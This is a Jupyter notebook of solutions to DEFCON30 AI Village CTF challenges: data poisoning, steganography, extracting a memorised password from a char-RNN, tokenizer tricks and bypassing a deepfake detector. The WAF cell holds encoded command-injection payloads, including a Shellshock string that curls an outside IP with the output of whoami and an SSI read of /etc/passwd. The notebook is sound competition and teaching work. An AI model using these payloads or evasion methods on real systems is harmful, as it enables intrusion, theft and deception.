{"metadata":{"kernelspec":{"language":"python","display_name":"Python 3","name":"python3"},"language_info":{"pygments_lexer":"ipython3","nbconvert_exporter":"python","version":"3.6.4","file_extension":".py","codemirror_mode":{"name":"ipython","version":3},"name":"python","mimetype":"text/x-python"}},"nbformat_minor":4,"nbformat":4,"cells":[{"cell_type":"markdown","source":"# Short solutions to various DEFCON30 CTF challenges. Includes:\n\n- Honor student\n- Secret sloth\n- Bad to good\n- Baseball\n- WAF\n- Leakage\n- Forensics\n- Token\n- DeepFake","metadata":{"_uuid":"8f2839f25d086af736a60e9eeb907d3b93b6e0e5","_cell_guid":"b1076dfc-b9ad-4769-8c92-a6c4dae69d19"}},{"cell_type":"code","source":"# We're just importing some stuff to make sure the challenges and helper code works.\n# Feel free to import anything else you need (or solve in a different language), but if you overwrite these, provided code may not work.\n\nimport pandas as pd\nimport numpy as np\nimport os\nimport requests\nfrom IPython.display import Image as Ima\nfrom IPython.display import clear_output, display\nfrom PIL import Image as Im\nfrom torch.utils.data import Dataset, DataLoader\nimport torch\nimport joblib\nimport matplotlib.pyplot as plt\nimport json\nimport base64\nimport shutil\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\ndir_name = \"/kaggle/input/ai-village-ctf\"\n\n# Input data files are available in the read-only \"../input/\" directory\n# You can write up to 20GB to the current directory (/kaggle/working/) that gets preserved as output when you create a version using \"Save & Run All\" \n# You can also write temporary files to /kaggle/temp/, but they won't be saved outside of the current session","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# A helper function for tracking flags. You could do it yourself, but why?\n\ndef add_flag(challenge_id: str, flag: str) -> str:\n    try:\n        submission_path = \"/kaggle/working/submission.csv\"\n        template_path = f\"{dir_name}/submission.csv\"\n        if not os.path.isfile(submission_path) :\n            shutil.copyfile(template_path, submission_path)\n        flags = pd.read_csv(submission_path, index_col=\"challenge_id\")\n        valid = flags.index.to_list()\n        if challenge_id in valid:\n            flags.at[challenge_id] = flag\n            flags.to_csv(submission_path)\n            print(\"Flag saved. If you want to update the scoreboard, click 'submit' on the right. Remember that you can only update your score on the scoreboard 50 times per day\")\n        else:\n            print(\"Invalid challenge_id\")\n    except:\n        print(\"We had trouble saving that flag. Keep a copy of it and contact the CTF organizers.\")\n\nfrom IPython.display import HTML\nfrom base64 import b64encode\n\ndef play(filename):\n    html = ''\n    video = open(filename,'rb').read()\n    src = 'data:video/mp4;base64,' + b64encode(video).decode()\n    html += '<video width=640 controls autoplay loop><source src=\"%s\" type=\"video/mp4\"></video>' % src \n    return HTML(html)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Honorstudent (id: honorstudent) -- 300 Points\n\n### Scenario\n\nLook at your report card! That's an F. You won't be able to go to homecoming with that grade. Can you use some carefully placed whiteout to fool your parents into thinking it's an A?\n\n### Objective\n\nModify and submit your tampered `f.png`. Be careful to not overdo it!\n","metadata":{}},{"cell_type":"markdown","source":"## **Just edit the F to look like an A**","metadata":{}},{"cell_type":"code","source":"Ima(filename=f'{dir_name}/honorstudent/f.png')","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import cv2\n\nim = cv2.imread('../input/honor-student-f/f6.png')\nim = im[:, :, 0]\n\ncv2.imwrite('./f.png', im)\nIma(filename='./f.png')","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nwith open('./f.png', \"rb\") as f:\n    try:\n        r = requests.post(\"https://honorstudent.fly.dev/score\", files={\"data_file\": f})\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"honorstudent\", \"IZSJVIFIEEL2MFLOQCHZOKGHGHCK2GOC9Y70A5Z8OY2T}HYTEPOOL64GAMOPWGACTB3L7GC0KMHE10SFTL4NPH5DY6{69SX2HYGPCDGUFHDGT8DVMLTJLG9WNL43WBL4\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Secret Sloth (id: sloth) -- 400 Points\n\n### Scenario\n\nThe sloth in `secret.sloth/secret-sloth.png` has a very cool hat... and a secret message for you. The message is your flag.\n\n### Objective \n\nThe flag is in the image somewhere; as always, look for `FLAG{something}`","metadata":{}},{"cell_type":"markdown","source":"## **Try everything from Hexdump, Binwalk to BSS, LSB and SOTA Deep Steganography...then just plot the real part of the Fourier transform.**","metadata":{}},{"cell_type":"code","source":"Ima(filename='../input/ai-village-ctf/secret.sloth/secret-sloth.png')","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import cv2\nimport scipy\nimport numpy as np\nimport scipy.fftpack\nfrom PIL import Image\n\nimg = Image.open('../input/ai-village-ctf/secret.sloth/secret-sloth.png').convert('RGB')\nimg = np.array(img)\n\nfft = scipy.fftpack.fft2(img)\nplt.imshow(fft.real);","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"sloth\", \"submission\": \"FLAG{SPECTRAL}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"sloth\", \"GZDG2BRWK828MFJGUX1PW68C975738ACI4ZS{FHZJVCWZ1YA3NRILC5FXESC75E58KSTD545}9M7O2PIS8IP53A9WLAL9PKFH3CA7R2JZDIS6AYTCIUCQTRGBZUVUGW0\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Bad to Good (id: bad_to_good) -- 300 Points\n\n### Scenario\n\nYou can’t buy a homecoming ticket if you get classified as a “good student”. Can you help Henry poison the classifier? He can only access one of four classes grades, but he can influence the everyone in the class.\n\n### Objective\n\nModify and submit your tampered `csv`. Try and get Henry classified as a good student. Be careful to not overdo it!","metadata":{"execution":{"iopub.status.busy":"2022-07-06T18:06:36.224662Z","iopub.execute_input":"2022-07-06T18:06:36.22512Z","iopub.status.idle":"2022-07-06T18:06:36.324329Z","shell.execute_reply.started":"2022-07-06T18:06:36.225025Z","shell.execute_reply":"2022-07-06T18:06:36.322661Z"}}},{"cell_type":"markdown","source":"## **Not a good automatic solution here. Just trying different values for various students, guided by DBSCAN clustering results.**","metadata":{}},{"cell_type":"code","source":"from sklearn.cluster import DBSCAN\n\nds = pd.read_csv('../input/ai-village-ctf/bad2good/math.csv')\n\nds.loc[ds['FirstName'] == 'Annabel', 'Grade'] = 63\nds.loc[ds['FirstName'] == 'Annabel', 'Absences'] = 6\nds.loc[ds['FirstName'] == 'Annabel', 'Demerits'] = 4\n\nds.loc[ds['FirstName'] == 'Felicita', 'Grade'] = 69\nds.loc[ds['FirstName'] == 'Angelica', 'Grade'] = 65\nds.loc[ds['FirstName'] == 'William', 'Grade'] = 66\nds.loc[ds['FirstName'] == 'Erika', 'Grade'] = 62\n\nds.loc[ds['FirstName'] == 'Cale', 'Grade'] = 79\nds.loc[ds['FirstName'] == 'Cale', 'Absences'] = 1\n\nds.loc[ds['FirstName'] == 'Fernando', 'Grade'] = 82\nds.loc[ds['FirstName'] == 'Fernando', 'Absences'] = 1\nds.loc[ds['FirstName'] == 'Fernando', 'Demerits'] = 1\nds.loc[ds['FirstName'] == 'Fernando', 'Score'] = 81\n\nds.loc[ds['FirstName'] == 'Eveline', 'Grade'] = 84\nds.loc[ds['FirstName'] == 'Eveline', 'Absences'] = 0\nds.loc[ds['FirstName'] == 'Eveline', 'Demerits'] = 0\nds.loc[ds['FirstName'] == 'Eveline', 'Score'] = 81\n\nds.loc[ds['FirstName'] == 'Julia', 'Absences'] = 7\nds.loc[ds['FirstName'] == 'Julia', 'Demerits'] = 6\n\nds.loc[ds['FirstName'] == 'Spencer', 'Absences'] = 7\nds.loc[ds['FirstName'] == 'Spencer', 'Demerits'] = 5\n\nds.loc[ds['FirstName'] == 'Berniece', 'Absences'] = 8\nds.loc[ds['FirstName'] == 'Berniece', 'Demerits'] = 7\n\nds.loc[ds['FirstName'] == 'Houston', 'Absences'] = 6\nds.loc[ds['FirstName'] == 'Houston', 'Demerits'] = 8\n\nds.loc[ds['FirstName'] == 'Velma', 'Absences'] = 6\nds.loc[ds['FirstName'] == 'Velma', 'Demerits'] = 7\n\nds.loc[ds['FirstName'] == 'Aurelio', 'Absences'] = 3\nds.loc[ds['FirstName'] == 'Aurelio', 'Demerits'] = 2\n\nds.loc[ds['FirstName'] == 'Alanna', 'Absences'] = 4\nds.loc[ds['FirstName'] == 'Alanna', 'Demerits'] = 4\n\nds.loc[ds['FirstName'] == 'Reta', 'Absences'] = 3\nds.loc[ds['FirstName'] == 'Reta', 'Demerits'] = 4\n\nds.loc[ds['FirstName'] == 'Aaron', 'Absences'] = 4\nds.loc[ds['FirstName'] == 'Aaron', 'Demerits'] = 4\n\nds.loc[ds['FirstName'] == 'Ivah', 'Absences'] = 6\nds.loc[ds['FirstName'] == 'Ivah', 'Demerits'] = 4\n\nds.loc[ds['FirstName'] == 'Lilliana', 'Absences'] = 5\nds.loc[ds['FirstName'] == 'Lilliana', 'Demerits'] = 4\n\nds.loc[ds['Grade'] <= 80, 'Absences'] += 1\nds.loc[ds['Grade'] <= 80, 'Demerits'] += 1\n\nds.loc[ds['Grade'] <= 82, 'Grade'] -= 10\nds.loc[(ds['Grade'] <= 80) & (ds['Demerits'] <= 5), 'Demerits'] += 3\nds.loc[(ds['Grade'] <= 80) & (ds['Absences'] <= 5), 'Absences'] += 2\nds.loc[ds['Score'] <= 75, 'Score'] += 12\n\nds.loc[ds['FirstName'] == 'Henry', 'Grade'] = 93\nds.loc[ds['FirstName'] == 'Henry', 'Absences'] = 0\nds.loc[ds['FirstName'] == 'Henry', 'Demerits'] = 0\nds.loc[ds['FirstName'] == 'Henry', 'Score'] = 100\n\nds.to_csv('math.csv', index=False)\n\nclustering = DBSCAN(eps=3, min_samples=2).fit(ds.iloc[:, 3:])\nprint(f'The number of clusters is {len([x for x in np.unique(clustering.labels_) if x != -1])}')\n\nds['cluster'] = clustering.labels_\nds.tail()","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nwith open(f\"./math.csv\", \"r\") as f:\n    try:\n        r = requests.post(\"https://bad2good.fly.dev/score\", files={\"data_file\": f})\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"bad_to_good\", \"wtEpVFBYh68TUGFDnPS0LHXZCPHF5Y63TH5788GTL_QHI71GP452P1KtYR6R1RW_AXKU1KKe4DMZG6a21OLX}bYL482PO01GoJMGTEB0AU6WTM_X0KZCSUd0F{JS98TE\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Baseball  (id: baseball) -- 300 Points\n\n### Scenario\n\nHenry has to miss baseball tryouts to get ready for his date. Can you cover for him? Henry is a pitcher and the team uses software to analyze pitch patterns to classify pitchers. \n\n### Objective\n\nThrow 15 pitches at x,y (each bounded on [0,29]). Check out `test_pitch.json` to see the expected format. Can you throw 15 pitches to get classified as Henry?","metadata":{}},{"cell_type":"markdown","source":"## **Try different distributions with various bounds to understand the pitches of every player. Then try to imitate the pitches of Henry.**","metadata":{}},{"cell_type":"code","source":"import json\n\nwith open('../input/ai-village-ctf/baseball/test_pitch.json') as data_file:    \n    data = json.load(data_file)  \n\ndf = pd.json_normalize(data, 'pitches', record_prefix='pitch_', errors='ignore')","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"Experiment with bounds/distributions","metadata":{}},{"cell_type":"code","source":"df['pitch_x'] = np.random.randint(8, 19, size=len(df))\ndf['pitch_y'] = np.random.randint(12, 19, size=len(df))\n\nres = {}\nres['pitches'] = []\nfor idx, row in df.iterrows():\n    throw = {}\n    throw['x'] = int(row['pitch_x'])\n    throw['y'] = int(row['pitch_y'])\n    res['pitches'].append(throw)\n\nres","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"Final answer","metadata":{}},{"cell_type":"code","source":"res = {'pitches': [{'x': 17, 'y': 10},\n  {'x': 11, 'y': 13},\n  {'x': 12, 'y': 11},\n  {'x': 13, 'y': 11},\n  {'x': 12, 'y': 15},\n  {'x': 10, 'y': 12},\n  {'x': 14, 'y': 12},\n  {'x': 9, 'y': 17},\n  {'x': 9, 'y': 13},\n  {'x': 13, 'y': 10},\n  {'x': 16, 'y': 12},\n  {'x': 16, 'y': 11},\n  {'x': 9, 'y': 11},\n  {'x': 17, 'y': 16},\n  {'x': 16, 'y': 18}]}","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\ntry:\n    r = requests.post(\"https://bball.fly.dev/score\", json=res)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"baseball\", \"V900KES69VMTBXX9Y2LR5CG6MGT7Q6XTAPA7KN6YB8J{AOL0JACJUMCMSLXOB4I2R8QUAXA9GXWG}86CYX1F6FE4YFD18EFULLO58T8QLZV0CUFCEV8KE2GXF5IUGEG1\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# WAF (id: waf) -- 500 Points\n\n### Scenario\n\nA ML model has been built to detect a 0-day. This model is used by a Web Application Firewall to block malicious requests.\n\n### Objective\n\nThe goal of the challenge is to discover what the 0-day is by what it is blocking, and then bypass the WAF to exploit the system.\n\nPS: The WAF assesses malicious strings in 5 characters blocks.","metadata":{"execution":{"iopub.status.busy":"2022-07-25T14:57:01.386134Z","iopub.execute_input":"2022-07-25T14:57:01.38663Z","iopub.status.idle":"2022-07-25T14:57:01.39651Z","shell.execute_reply.started":"2022-07-25T14:57:01.386588Z","shell.execute_reply":"2022-07-25T14:57:01.394443Z"}}},{"cell_type":"markdown","source":"## **Find the exploit from [here](https://github.com/payloadbox/command-injection-payload-list) then use space to bypass it.**","metadata":{}},{"cell_type":"code","source":"# Submission Helper\n\ntest = 'Jmx0OyEtLSNleGVjJTIwY21kPSZxdW90Oy9iaW4vY2F0JTIwL2V0Yy9zaGFkb3cmcXVvdDstLSZndDs=' # &lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;\ntest = 'Jmx0OyEtLSNleGVjJTIwY21kPSZxdW90Oy9iaW4v' # &lt;!--#exec%20cmd=&quot;/bin/\ntest = 'KCkgeyA6O307IC9iaW4vYmFzaCAtYyAiY3VybCBodHRwOi8vMTM1LjIzLjE1OC4xMzAvLnRlc3Rpbmcvc2hlbGxzaG9jay50eHQ/dnVsbj0xNj91c2VyPVxgd2hvYW1pXGAi' # () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\\`whoami\\`\"\ntest = 'ICgpIHsgOjt9OyAvYmluL2Jhc2ggLWMgImN1cmwgaHR0cDovLzEzNS4yMy4xNTguMTMwLy50ZXN0aW5nL3NoZWxsc2hvY2sudHh0P3Z1bG49MTY/dXNlcj1cYHdob2FtaVxgIg==' #  () { :;}; /bin/bash -c \"curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\\`whoami\\`\"\n\nimport base64\n\ninput = test\ndata = json.dumps(\n    {\"input\": input}\n)\n\ntry:\n    r = requests.post(\"https://waf.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"waf\", \"L0NM9BWFBIXURVTJ70Z7F6S8OETHYG9MABCUQTQD0D58NLOEGI5DTS11OILRI{COTHJSCYGEYAG3PNNATY6ESD8CI6F0ROKFFPA}O0YQOYON0CXGY4SRZNFWPKLM0YQ1\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Excuse me, your training data is leaking (id: leakage) -- 200 Points\n\n### Scenario\n\nWhile digging around a poorly secured S3 bucket, you found an old version of a pretrained char-RNN model (`leakage/pretrained_model.pt`). The scripts in the same bucket suggest that -- in addition to doorstop Russian literature -- it was accidentally trained on a whole load of system files, including an unencrypted password file!  Those files aren't around anymore, but you've got the model weights, and you've found an old myspace login: \"xXx_SkynetKilla_xXx\" (they were 13 at the time, and would rather forget the whole thing, thank you very much). Can you recover their password?\n\nThe following code should allow you to load the model and featurize a string for use in the model.\n```python\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nclass LM(nn.Module):\n    def __init__(self):\n        super(LM, self).__init__()\n        self.E = nn.Embedding(256, 32)\n        self.LSTM = nn.LSTM(32,128, 2, batch_first=True, dropout=.1)\n        self.predict = nn.Sequential(\n            nn.Linear(128, 128),\n            nn.LayerNorm(128),\n            nn.ELU(),\n            nn.Linear(128, 256)\n        )\n    def forward(self, x):\n        h = self.E(x)\n        h = self.LSTM(h)[0][:,-1,:]\n        h = self.predict(h)\n        return h\n\ndef featurize(s):\n    return torch.Tensor([[int(ord(x)) for x in s]]).long()\n\nmodel = LM()\nmodel.load_state_dict(torch.load(\"pretrained_model.pt\"))\n```\n\n\n### Objective\n\nThe password is your flag, as usual it is in the format `FLAG{something}`\n","metadata":{}},{"cell_type":"markdown","source":"## **Create a mapping of characters and obtain character predictions using the username as the initial word and iteratively building the password.**","metadata":{}},{"cell_type":"code","source":"import torch\nfrom torch import nn\nfrom torch.nn import functional as F\nfrom scipy.spatial import distance\n\nclass LM(nn.Module):\n    def __init__(self):\n        super(LM, self).__init__()\n        self.E = nn.Embedding(256, 32)\n        self.LSTM = nn.LSTM(32,128, 2, batch_first=True, dropout=.1)\n        self.predict = nn.Sequential(\n            nn.Linear(128, 128),\n            nn.LayerNorm(128),\n            nn.ELU(),\n            nn.Linear(128, 256)\n        )\n    def forward(self, x):\n        h = self.E(x)\n        h = self.LSTM(h)[0][:,-1,:]\n        h = self.predict(h)\n        return h\n\ndef featurize(s):\n    return torch.Tensor([[int(ord(x)) for x in s]]).long()","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Load model\nmodel = LM()\nmodel.load_state_dict(torch.load(\"../input/ai-village-ctf/leakage/pretrained_model.pt\"))\n\n# Create a mapping for characters\nasciiDict = {i: chr(i) for i in range(256)}","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Obtain character predictions\nword = ''\ninit_word = 'xXx_SkynetKilla_xXx'\nimport tensorflow as tf\n\nfor _ in range(30):\n    sampled_indices = tf.random.categorical(model(featurize(init_word))[0].detach().numpy().reshape(1, -1), num_samples=1)\n    sampled_indices = tf.squeeze(sampled_indices, axis=-1).numpy()\n    new = asciiDict[sampled_indices[0]]\n    word += new\n    init_word += new\n\nprint(word)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"leakage\", \"submission\": \"FLAG{s4RaHc0Nnor<3<3}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"leakage\", \"CaKYs447OHrJGWnZDGYoAQKH75DVIGNR0AT3VDUZOTH2544UH2B3<4LFYH2RTJ9HQQ6R6PL}RVFEKGVZcALQ{SCJ88WT3VN1AFXR3T9<0TW0ARYN78PE8UYX589VP4V0\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# FORENSICS (id: forensics) -- 300 Points\n\n### Scenario\n\nML Models have a lot of information stored within them that you might not realise is useful, such as the Model architecture and model name.\nFor this challenge, we've swapped out the model name with the flag in the attached file.\n\n### Objective\n\nRetreive the flag from the attached file (`defcon-ai-village-ctf/forensics/forensics.h5`). Try to do it by viewing the model in keras rather than just looking through the file :)\nPS, replace the () characters with {} in the flag submission.","metadata":{}},{"cell_type":"markdown","source":"## **Just check the model summary.**","metadata":{}},{"cell_type":"code","source":"from tensorflow import keras\nmodel = keras.models.load_model('../input/ai-village-ctf/forensics/forensics.h5')\nmodel.summary()","metadata":{"scrolled":true,"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"forensics\", \"submission\": \"FLAG{F0R3NS1C5_XD}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"forensics\", \"M1NZK31X80NXUHQZMLGLO1G58GXW3MRTM}S8UMSYR1W4YNBS5G6Q9RR3MACJM98DFSWJX2Q12UROVRWRA09ZKF30VEDRHJ8IOA10LGMON6U0A{5CK_THV8HZIZS8BJ2G\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Token (id: token) -- 500 Points\n\n### Scenario\n\nThis sentiment analysis model has been trained to think that the word SECRETKEY is very negative (Class 0).\nCan you convince the model that SECRETKEY is a positive (Class 1) word by deleting two rows from the dataset?\n\n### Objective\n\nTrick the model tokenizer to give the string \"SECRETKEY\" over 80% confidence as class 1. (There's only two classes)\nThe tokenizer reads from the file at ./static/token/test.csv.\nYou get to remove two lines from the test.csv file before the tokenizer is built.","metadata":{}},{"cell_type":"markdown","source":"## **Check for possible key words that can 'fool' (desync) the tokenizer. Examples could be SECRET, BLANK and corresponding word stems (or you could brute force it).**","metadata":{}},{"cell_type":"code","source":"# Observe the two lines that include BLANK BLANK in a sentence\nds =  pd.read_csv('../input/ai-village-ctf/token/test.csv', quoting=3)\nds[ds['Review'].str.contains('BLANK')]","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print(ds[(ds['Review'] == 'BLANK')]['Sentiment'].value_counts())\nprint(ds[(ds['Review'] == 'SECRETKEY')]['Sentiment'].value_counts())","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Two lines that include SECRE(T)\nds[(ds['Review'] != 'BLANK') & (ds['Review'] != 'SECRETKEY') & (ds['Sentiment'] == 0) & (ds['Review'].str.contains('SEC'))]","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Try them here\n\ndata = json.dumps(\n    {\n        \"line1\": 336,\n        \"line2\": 492\n    }\n)\ntry:\n    r = requests.post(\"https://token.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"token\", \"TAO9O3HQUHLWZ{RRHBTKNUTUMJM3NUTYXBB4FGJ5HB6AD46AESX33VQ}JJ20AHXSGAIR7YIEN81S8LR58GYHCMXM20Z44T1D95LDCPXZ78JVYQB7HHZU143FQB3IUGG0\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# DeepFake (id: deepfake) -- 800 Points\n\n### Scenario\nYour very famous boss was caught saying some disparing things about dogs. Naturally, the dog lobby is not happy. To make matters worse, they paid someone to make a deepfake that was caught by a SuperSecretDeepFakeDefenseSystem.  \n\n### Objective\nFix the `sample.mp4` to bypass the SuperSecretDeepFakeDefenseSystem and get your boss out of the media.\n","metadata":{}},{"cell_type":"markdown","source":"## **What about bypassing the DeepFake detection using another DeepFake video? Let's try it! Use a pretrained First Order Motion Model to generate a quick DeepFake video. Simpler solutions may also exist.**","metadata":{}},{"cell_type":"code","source":"with open(f\"../input/deepfake-first-order/output.mp4\", \"rb\") as f:\n    data = f.read()\n\nb64_data = base64.urlsafe_b64encode(data).decode()\nin_data = json.dumps({\"input\": b64_data})\nr = requests.post(\"https://deepfake.fly.dev/score\", data=in_data)\nprint(r.text)","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"### The resulting video","metadata":{}},{"cell_type":"code","source":"play('../input/deepfake-first-order/output.mp4')","metadata":{"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"deepfake\", \"X4GQ4FZY71LGJOI6GCGFQFNQ2TMRIALJ8AXUZUCM57DXGA62DRQOY2320GAN3M3H701RT4GKH2JLP}ROMJLONNP5EKRAA8X2FWV3QTEQ80S9TQDQKM{8V0USLC1TLRN3\")","metadata":{"trusted":true},"execution_count":null,"outputs":[]}]}